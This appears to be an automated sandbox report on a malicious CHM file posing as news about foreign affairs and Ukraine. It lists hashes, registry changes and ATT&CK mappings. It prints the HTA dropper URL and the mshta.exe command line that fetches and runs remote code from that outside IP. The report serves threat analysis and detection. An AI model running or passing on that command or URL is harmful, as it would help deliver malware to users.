231fbaa9f85cf016114f8d66552665dd5d181cfb50391825e615c3eb2695cc8b

Analysis

max time kernel
122s
max time network
128s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
26/12/2023, 10:50

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General

Target

News about Foreign affairs, The High North and Ukraine.chm
Size

12KB
MD5

6f57f0fe127adac28241787263438e50
SHA1

433b7008a3c00c41634b20c33da85b519aa58794
SHA256

4f38f5347307c437d1462cdf5715b7692c54e8a1964193c4b4e079e8b25daf1e
SHA512

963acc0ed2bc6bf028898680cafd1f5cb3b17cd780ff62a470fc23964c67ec8505b3049a9e620c11c9c606a31c9cbe518dbbc3b26e829b99b7fbe336e2dbb93a
SSDEEP

96:COwCSVgaOJOzkZhd1t0lFZHDSxWqzlkJchb0GlrJ/:COwCeO+kZhdOPHoRBE4j5J/

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://141.105.65.165/data/8.html

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2364	mshta.exe
5	2364	mshta.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	hh.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2108	hh.exe
2108	hh.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 2364	2108	hh.exe	28
PID 2108 wrote to memory of 2364	2108	hh.exe	28
PID 2108 wrote to memory of 2364	2108	hh.exe	28

C:\Windows\hh.exe
"C:\Windows\hh.exe" "C:\Users\Admin\AppData\Local\Temp\News about Foreign affairs, The High North and Ukraine.chm"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://141.105.65.165/data/8.html ,
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  PID:2364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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